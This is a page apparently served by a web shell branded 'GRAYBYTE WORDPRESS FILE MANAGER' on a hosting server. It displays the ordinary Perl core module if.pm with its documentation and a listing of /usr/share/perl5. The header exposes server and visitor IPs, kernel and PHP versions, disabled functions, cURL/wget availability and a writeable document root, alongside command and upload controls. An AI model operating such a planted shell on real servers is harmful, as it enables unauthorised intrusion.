GRAYBYTE WORDPRESS FILE MANAGER2613

Server IP : 149.255.58.128 / Your IP : 216.73.216.44
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/perl5/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/perl5//if.pm
package if;

$VERSION = '0.0608';

sub work {
  my $method = shift() ? 'import' : 'unimport';
  unless (@_ >= 2) {
    my $type = ($method eq 'import') ? 'use' : 'no';
    die "Too few arguments to '$type if' (some code returning an empty list in list context?)"
  }
  return unless shift;		# CONDITION

  my $p = $_[0];		# PACKAGE
  (my $file = "$p.pm") =~ s!::!/!g;
  require $file;		# Works even if $_[0] is a keyword (like open)
  my $m = $p->can($method);
  goto &$m if $m;
}

sub import   { shift; unshift @_, 1; goto &work }
sub unimport { shift; unshift @_, 0; goto &work }

1;
__END__

=head1 NAME

if - C<use> a Perl module if a condition holds

=head1 SYNOPSIS

    use if CONDITION, "MODULE", ARGUMENTS;
    no  if CONDITION, "MODULE", ARGUMENTS;

=head1 DESCRIPTION

=head2 C<use if>

The C<if> module is used to conditionally load another module.  The construct:

    use if CONDITION, "MODULE", ARGUMENTS;

... will load C<MODULE> only if C<CONDITION> evaluates to true; it has no
effect if C<CONDITION> evaluates to false.  (The module name, assuming it
contains at least one C<::>, must be quoted when C<'use strict "subs";'> is in
effect.)  If the CONDITION does evaluate to true, then the above line has the
same effect as:

    use MODULE ARGUMENTS;

For example, the F<Unicode::UCD> module's F<charinfo> function will use two functions from F<Unicode::Normalize> only if a certain condition is met:

    use if defined &DynaLoader::boot_DynaLoader,
        "Unicode::Normalize" => qw(getCombinClass NFD);

Suppose you wanted C<ARGUMENTS> to be an empty list, I<i.e.>, to have the
effect of:

    use MODULE ();

You can't do this with the C<if> pragma; however, you can achieve
exactly this effect, at compile time, with:

    BEGIN { require MODULE if CONDITION }

=head2 C<no if>

The C<no if> construct is mainly used to deactivate categories of warnings
when those categories would produce superfluous output under specified
versions of F<perl>.

For example, the C<redundant> category of warnings was introduced in
Perl-5.22.  This warning flags certain instances of superfluous arguments to
C<printf> and C<sprintf>.  But if your code was running warnings-free on
earlier versions of F<perl> and you don't care about C<redundant> warnings in
more recent versions, you can call:

    use warnings;
    no if $] >= 5.022, q|warnings|, qw(redundant);

    my $test    = { fmt  => "%s", args => [ qw( x y ) ] };
    my $result  = sprintf $test->{fmt}, @{$test->{args}};

The C<no if> construct assumes that a module or pragma has correctly
implemented an C<unimport()> method -- but most modules and pragmata have not.
That explains why the C<no if> construct is of limited applicability.

=head1 BUGS

The current implementation does not allow specification of the required
version of the module.

=head1 SEE ALSO

L<Module::Requires> can be used to conditionally load one or modules,
with constraints based on the version of the module.
Unlike C<if> though, L<Module::Requires> is not a core module.

L<Module::Load::Conditional> provides a number of functions you can use to
query what modules are available, and then load one or more of them at runtime.

The L<provide> module from CPAN can be used to select one of several possible
modules to load based on the version of Perl that is running.

=head1 AUTHOR

Ilya Zakharevich L<mailto:ilyaz@cpan.org>.

=head1 COPYRIGHT AND LICENCE

This software is copyright (c) 2002 by Ilya Zakharevich.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2025 21:42:20
0 / root
0755
Attribute
--
May 30 2024 07:43:01
0 / root
0755
B
--
May 30 2024 07:43:01
0 / root
0755
CPAN
--
February 05 2024 20:05:52
0 / root
0755
Class
--
May 30 2024 07:43:01
0 / root
0755
Compress
--
February 05 2024 19:59:43
0 / root
0755
Config
--
May 30 2024 07:43:01
0 / root
0755
DBM_Filter
--
May 30 2024 07:43:01
0 / root
0755
Devel
--
May 30 2024 07:43:01
0 / root
0755
ExtUtils
--
May 30 2024 07:43:48
0 / root
0755
File
--
May 30 2024 07:43:01
0 / root
0755
Getopt
--
May 30 2024 07:43:01
0 / root
0755
I18N
--
May 30 2024 07:43:01
0 / root
0755
IO
--
February 05 2024 19:59:43
0 / root
0755
IPC
--
May 30 2024 07:43:01
0 / root
0755
Locale
--
April 03 2024 14:39:19
0 / root
0755
Math
--
May 30 2024 07:43:01
0 / root
0755
Memoize
--
May 30 2024 07:43:01
0 / root
0755
Module
--
May 30 2024 07:43:01
0 / root
0755
Net
--
May 30 2024 07:43:01
0 / root
0755
Pod
--
May 30 2024 07:43:01
0 / root
0755
Search
--
May 30 2024 07:43:01
0 / root
0755
Term
--
May 30 2024 07:43:01
0 / root
0755
Text
--
May 30 2024 07:43:01
0 / root
0755
Thread
--
May 30 2024 07:43:02
0 / root
0755
Tie
--
May 30 2024 07:43:02
0 / root
0755
Time
--
May 30 2024 07:43:01
0 / root
0755
URI
--
October 13 2023 17:01:25
0 / root
0755
Unicode
--
May 30 2024 07:43:01
0 / root
0755
User
--
May 30 2024 07:43:01
0 / root
0755
encoding
--
May 30 2024 07:43:02
0 / root
0755
overload
--
May 30 2024 07:43:01
0 / root
0755
pod
--
May 30 2024 07:43:01
0 / root
0755
unicore
--
May 30 2024 07:43:01
0 / root
0755
vendor_perl
--
January 17 2025 17:38:37
0 / root
0755
warnings
--
May 30 2024 07:43:01
0 / root
0755
AnyDBM_File.pm
2.557 KB
April 03 2024 14:35:12
0 / root
0644
AutoLoader.pm
15.427 KB
April 03 2024 14:39:02
0 / root
0644
AutoSplit.pm
19.177 KB
April 03 2024 14:39:02
0 / root
0644
Benchmark.pm
30.299 KB
April 03 2024 14:39:02
0 / root
0644
CORE.pod
3.113 KB
April 03 2024 14:35:12
0 / root
0644
DB.pm
18.479 KB
April 03 2024 14:39:02
0 / root
0644
DBM_Filter.pm
14.048 KB
April 03 2024 14:39:02
0 / root
0644
DirHandle.pm
2.036 KB
April 03 2024 14:39:02
0 / root
0644
Dumpvalue.pm
17.254 KB
April 03 2024 14:39:02
0 / root
0644
English.pm
4.649 KB
April 03 2024 14:39:02
0 / root
0644
FileCache.pm
5.419 KB
April 03 2024 14:39:02
0 / root
0644
FileHandle.pm
6.625 KB
April 03 2024 14:39:02
0 / root
0644
FindBin.pm
4.454 KB
April 03 2024 14:39:02
0 / root
0644
Internals.pod
2.515 KB
April 03 2024 14:35:12
0 / root
0644
Memoize.pm
35.344 KB
April 03 2024 14:39:02
0 / root
0644
NEXT.pm
18.54 KB
April 03 2024 14:39:02
0 / root
0644
PerlIO.pm
14.103 KB
April 03 2024 14:35:12
0 / root
0644
Safe.pm
24.77 KB
April 03 2024 14:39:02
0 / root
0644
SelectSaver.pm
1.051 KB
April 03 2024 14:39:02
0 / root
0644
SelfLoader.pm
17.271 KB
April 03 2024 14:39:02
0 / root
0644
Symbol.pm
4.687 KB
April 03 2024 14:39:02
0 / root
0644
Test.pm
29.338 KB
April 03 2024 14:39:02
0 / root
0644
Thread.pm
8.095 KB
April 03 2024 14:39:02
0 / root
0644
UNIVERSAL.pm
6.439 KB
April 03 2024 14:35:12
0 / root
0644
URI.pm
34.135 KB
March 03 2021 15:16:52
0 / root
0644
XSLoader.pm
10.988 KB
April 03 2024 14:35:12
0 / root
0644
_charnames.pm
33.351 KB
April 03 2024 14:35:12
0 / root
0644
autouse.pm
4.139 KB
April 03 2024 14:39:02
0 / root
0644
base.pm
10.704 KB
April 03 2024 14:39:02
0 / root
0644
blib.pm
2.014 KB
April 03 2024 14:39:02
0 / root
0644
bytes.pm
3.652 KB
April 03 2024 14:35:12
0 / root
0644
bytes_heavy.pl
0.74 KB
April 03 2024 14:35:12
0 / root
0644
charnames.pm
20.44 KB
April 03 2024 14:35:12
0 / root
0644
deprecate.pm
4.495 KB
April 03 2024 14:39:02
0 / root
0644
diagnostics.pm
18.847 KB
April 03 2024 14:39:02
0 / root
0644
dumpvar.pl
15.19 KB
April 03 2024 14:39:02
0 / root
0644
feature.pm
18.558 KB
April 03 2024 14:35:12
0 / root
0644
fields.pm
9.253 KB
April 03 2024 14:39:02
0 / root
0644
filetest.pm
3.909 KB
April 03 2024 14:39:02
0 / root
0644
if.pm
3.526 KB
April 03 2024 14:39:02
0 / root
0644
integer.pm
3.178 KB
April 03 2024 14:35:12
0 / root
0644
less.pm
3.129 KB
April 03 2024 14:39:02
0 / root
0644
locale.pm
4.741 KB
April 03 2024 14:39:02
0 / root
0644
meta_notation.pm
2.067 KB
April 03 2024 14:39:02
0 / root
0644
open.pm
8.313 KB
April 03 2024 14:39:02
0 / root
0644
overload.pm
52.053 KB
April 03 2024 14:39:02
0 / root
0644
overloading.pm
1.766 KB
April 03 2024 14:39:02
0 / root
0644
perl5db.pl
309.662 KB
April 03 2024 14:39:02
0 / root
0644
sigtrap.pm
8.531 KB
April 03 2024 14:39:02
0 / root
0644
sort.pm
3.819 KB
April 03 2024 14:39:02
0 / root
0644
strict.pm
4.627 KB
April 03 2024 14:35:12
0 / root
0644
subs.pm
0.88 KB
April 03 2024 14:39:02
0 / root
0644
utf8.pm
10.179 KB
April 03 2024 14:35:12
0 / root
0644
vars.pm
2.4 KB
April 03 2024 14:39:02
0 / root
0644
vmsish.pm
4.212 KB
April 03 2024 14:39:02
0 / root
0644
warnings.pm
49.353 KB
April 03 2024 14:35:12
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF